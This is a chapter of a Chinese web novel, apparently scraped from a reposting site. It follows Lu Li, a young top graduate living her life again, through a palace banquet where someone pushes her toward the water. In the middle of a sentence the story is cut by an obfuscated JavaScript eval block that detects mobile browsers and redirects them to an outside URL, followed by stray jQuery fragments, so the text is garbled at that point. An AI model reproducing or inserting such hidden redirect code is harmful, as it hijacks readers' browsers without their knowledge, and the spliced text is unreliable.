日头升上半空,还没到四月,热度却也能将人晒出一身汗。
殿中唱名还在继续,守在殿外站岗的禁军换了一批。
一名军士侧目向左,小声喊道:“封兄……封兄……”
封荻目不斜视:“何事?”
“封兄听说了吗?今科的小状元是个十七岁的少年郎,听说官家甚是喜爱他,连作了三首诗赏赐了他。”
封荻将话听入耳朵里,人却纹丝不动。
那人继续絮叨:“都说这位小状元,日后怕是会成为第二个俞大相公。俞大相公当年十九岁中状元,三十岁入中书,是我朝历史上最年轻的宰执。今日这位小状元,说不定以后的成就会超过俞大相公。”
封荻仍旧没有反应。
“听说当日礼部试放榜,这位小状元便是榜上前列。京城中的相公勋贵们欲行榜下捉婿,好几家都瞄准了他,谁知他竟没来看榜。有两家不甘心,打听到他的下榻处,蹲在客栈守株待兔,谁料这位小状元神出鬼没,竟没人‘捉’住他。也成为近日京城中的一大趣事。”
封荻似一尊无嘴大佛。
那人却也不介意,艳羡又落寞地长叹一口气,道:“人家十七岁就做了状元,我二十大几了却还是个普通兵卒。贵贱之间,有如云泥之别。”
封荻忍了一忍,到底没憋住。道:“考中状元又如何?大宁兴文教以来,出了几十位状元,如今在朝中留下姓名的才几人?大丈夫顶天立地,志在四方,能不能封侯拜相,还需看真本事。”
那人愣了一愣,哂笑道:“小弟惭愧,不知封兄竟是这般志存高远。”
二人这一番交谈,一个说得认真,一个听得仔细。竟未发觉殿门中已走出一群人,正是着绿袍持槐木笏的新科进士们。
走在前头的几个郎君恰巧听到他们最后的交谈,一时间,七八双眼睛齐齐看将过来。
封荻胸中磊落,能说出这一番话,自不怕人嘲笑。
只是好奇同袍口中那位十七岁的小状元,将目光斜斜投出去,却瞧见走在最前头的绿袍小郎君,眼睛大大的,眼角却狭长似柳叶,脸上颇有愁色。
对方仿佛感应到他的目光,抬眸看过来。一个愣怔后,愁容一消,朝他微微一笑。等封荻回过神来,那片绿云已往宴殿而去。
—
乐声再起,队伍移动。从琼林苑出来,走过长长的仙桥,水心殿赫然在前。
官家和皇后、妃嫔在水心殿正殿落座,亲王、宰执和各殿大学士,则落座东西两个朵殿。
中等官阶的,能坐廊下的毡席。
低等京官与陆离这帮进士们,便只能站在阶下栏边,充当人柱子。
只要熬过开场歌舞和诸军百戏,后面的水傀儡、水秋千和龙舟争渡,都很有看头,能让时间过得快些。
陆离作为本届榜首,虽无座,但“站位”却视野极佳。正是栏杆前正中的位置,可将湖中表演一览无余,毫无阻挡。
她此刻却没有一点观戏的心情。
上一世,她在永宁元年考了二甲第十名,在江宁府下辖的上元县做了个小县令,磨勘三年,得几位上官保举,回京任职。
当年如此顺利地通过磨勘,拿到保举回京,其中赵景钰出了不少力气。
据她所知,江南东路有不少赵景钰相熟的人,尤其是江宁府知府,乃是后来对赵景钰有从龙之功的李绶。
——怕是她被任命上元县的县令,也由赵景钰推波助澜而成。
这一世她提前三年考中科举,正是因为记得,祥合七年的一甲第一名,也是被派去江宁府任通判。
如无意外,她去江宁府应该是板上钉钉的事。
既有赵景钰护航,也有天意使然。
正因如此,她在当日殿试答卷时,颇费了一番心思。
因知晓官家心思,刻意逢迎。这个状元拿得不太意外,可授官却大大出乎她的意料。
想起方才在金殿传胪,第一名唱“饶州庆安坊陆离”。
她心下一松。
“授将作监丞,通判湖州事。”
……
怎么会是湖州呢?
明明是江宁府啊!
一甲前三皆由官家亲授,她方才又细细听了第二名第三名的授官,皆与记忆中相同。为何单单是她出了意外?
难道因她逆天改命,抢了别人的状元,原本的授官也发生了变化?
可为何,偏偏是湖州?
难道是她今日扶了一把晏佩闻,把他的因果渡到自己身上来了?
据她所知,湖州可没有赵景钰的人。
也就是说,外派湖州,她没有任何力量可倚靠。是生是死,还能不能回京城,全要靠她自己。若是刘升听了她的话,现藏身于江宁府的幽檀寺,一时也是指望不上了。
湖州这个龙潭虎穴……该怎么闯?闯得过去吗?想到此处,听到乐曲忽地一停。她那纷乱的思绪也随之一转。
原来开场歌舞已结束,舞姬们也渐次退下。陆离瞥了身侧晏佩闻一眼,却见对方已脸如金纸。
等诸军在水上踏索、爬竿、翻跟头、做“狮豹舞”后,晏佩闻已大汗淋漓。
陆离看得心下不忍:“晏兄,还站得住吗?”
晏佩闻朝她笑了笑,气若游丝,嘴却很硬:“我无事。”
见南岸的画舫已经移动,陆离精神一振,戳了戳晏佩闻:“你瞧那儿,画舫动了,水傀儡就要开演了。”
晏佩闻双目发直,缓缓地转头,动作之僵硬,已形同傀儡。
画舫慢慢驶到临水殿前,却见舫上搭着一个小戏台,随着乐声响起,几个偶人缓缓升起,开始表演《八仙过海》。
偶人动作灵活,几如真人,有的提桨划船,有的悬竿钓鱼,有的凌波起舞,有的张口喷火。倒像是把东京街头的伎艺人,都变成了偶人置于画舫中。
进士们的嘴顿时也活过来,一阵高过一阵的叫好声响彻云端。陆离脑子里震得嗡嗡的,身旁小声的讨论也传入她耳中。
“艺人却是藏在何处?”
“藏在船舱里呢!”
“那船舱里得藏多少人?”
“那我就不知道了。”
陆离分神听这些闲话,眼睛则在水傀儡身上。
等发觉不对时,已是不及。身体被一股大力推了出去,面前的栏杆还不到腰,自然阻挡不住她的跌势。
身旁响起一阵惊呼声。
她身旁的晏佩闻最先反应过来,伸手来捞,可惜反应虽快,动作却慢,指尖与陆离的袖管擦过。
整个身体不听使唤地往水里栽去,双脚即将离地。陆离双手抓向身侧,却抓了个空。
心中一时转过千百个念头,却无一能自救。只得将眼睛一闭,准备好迎接透骨的冰凉。
——都怪卢嘉,出门前偏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839782|211598||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
同她说什么倒霉催的……
她可不是倒霉催的吗?还没去湖州当断头鬼,先要做这落水鬼了。
预料中的寒冷并未袭来,双臂同时被两股力量钳制住。
侧头看去,才发觉自己左右臂膀皆被人攥住。那二人一同使力,将她提上岸来。
陆离站稳了,左右一看,真巧。都认识!
可惜当下只能认一个。
向封荻行礼:“多谢封兄搭救。”
“这是我职责所在,应当的。”封荻朝那位年轻官员拱了拱手,“宁校理。”
陆离“恍然大悟”,忙行礼道:“多谢宁校理相救之恩。”
晏佩闻等几位上来关心陆离的进士,听到宁祈的身份,都上来见过。
宁祈乃是祥合四年的一甲第三名,如今在馆阁做集贤校理,近天子,且身份清贵。
封荻不解道:“宁校理怎会跑来此处?”
宁祈心性纯然,毫无为官者的架子。
当下嘿嘿一笑:“我素来喜欢看傀儡戏,坐在廊下离得太远,看得十分不过瘾。故而走到这里来看。”
众进士纷纷附和。
封荻又问陆离:“怎的会突然跌下去?”
“我同宁校理一般,觉得水傀儡有趣,一时看得入神,没留心脚下。”
陆离笑了笑,却是不动声色撒了个谎。
陆离刚一站稳便环视周遭,却没发现有何异处,也没瞧见可疑的人。
今日御驾面前,这人敢行鬼蜮技,简直胆大包天。
究竟是谁下的黑手?又为何对她下手?
封荻待要再交代两句,谁知一个小内侍揣着手跑过来:“官家在殿中看到此处一片扰攘,问发生了何事?”
封荻简单向小内侍说清缘由。
待小内侍回身走了,周围响起小声议论。
“状元公也是倒霉,不知会不会被治个君前失仪?”
“官家以仁治国,岂会因这点小事就治罪于人?”
“看傀儡戏而失足,怕是会被人说玩物丧志……”
“兄台委实多虑了……”
议论声未息,那小内侍又跑回来了:“传官家口谕:今日太阳大,小状元身子羸弱,不堪久立。朕心体恤,特于殿中赐座。”
……
无数艳羡的目光,落到陆离身上。
小内侍笑微微看向陆离:“状元公,情随奴婢来罢。”
待陆离走得远了,宁祈笑着同封荻叹了声:“真是祸兮福所依,这位状元公,倒是有几分福气在身上的。”
陆离垂首入了水心殿正殿,跪下磕头谢座。
官家细瞧了陆离,其神色和悦慈爱,颇有几分长辈看晚辈的意思。
瞧着瞧着,却摇了摇头。
陆离一颗心提起。
却听官家道:“小状元受了惊吓,脸色苍白,倒似花容作了雪色。”伸手将自己鬓边一朵洒金红罗花摘下,递给内侍道,“将此花赐予小状元,添色,压惊。”
官家将自己的簪花作为赏赐,这可是宰执之臣才能得享的荣宠。陆离情知不能相却,只得叩首谢恩。
—
这一日简直令人身心俱疲,傍晚时回到客栈,卢嘉已在客栈外张望,显是在等她。
“出了什么事?”
“公子有请。”
“……去哪?”
“西府。”